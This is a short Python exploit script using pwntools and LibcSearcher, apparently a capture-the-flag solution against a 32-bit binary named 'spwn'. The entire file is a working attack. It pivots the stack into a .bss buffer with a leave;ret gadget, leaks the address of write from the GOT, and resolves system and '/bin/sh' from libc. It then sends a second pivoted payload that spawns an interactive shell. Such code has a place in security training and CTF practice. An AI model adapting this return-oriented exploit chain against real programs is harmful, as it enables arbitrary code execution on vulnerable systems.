from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='i386', os='linux', terminal=["tmux", "splitw", "-h"])
file = './spwn'
io = process(file)
elf = ELF(file)
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x8048513
s_addr = 0x804A300
leave_ret = 0x8048511
payload = flat([b'aaaa', write_plt, main_addr, 1, write_got, 4])
io.recvuntil(b'What is your name?')
io.send(payload)
io.recvuntil(b'What do you want to say?')
padding = 0x18
payload_2 = flat([b'a' * padding, s_addr, leave_ret])
io.send(payload_2)
write_addr = u32(io.recv(4))
print(hex(write_addr))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print(hex(system_addr))
print(hex(binsh_addr))
io.recvuntil(b'What is your name?')
payload_3 = flat([b'aaaa', system_addr, 0xdeadbeef, binsh_addr])
io.send(payload_3)
io.recvuntil(b'What do you want to say?')
payload_4 = flat([b'a' * padding, s_addr, leave_ret])
io.send(payload_4)
io.interactive()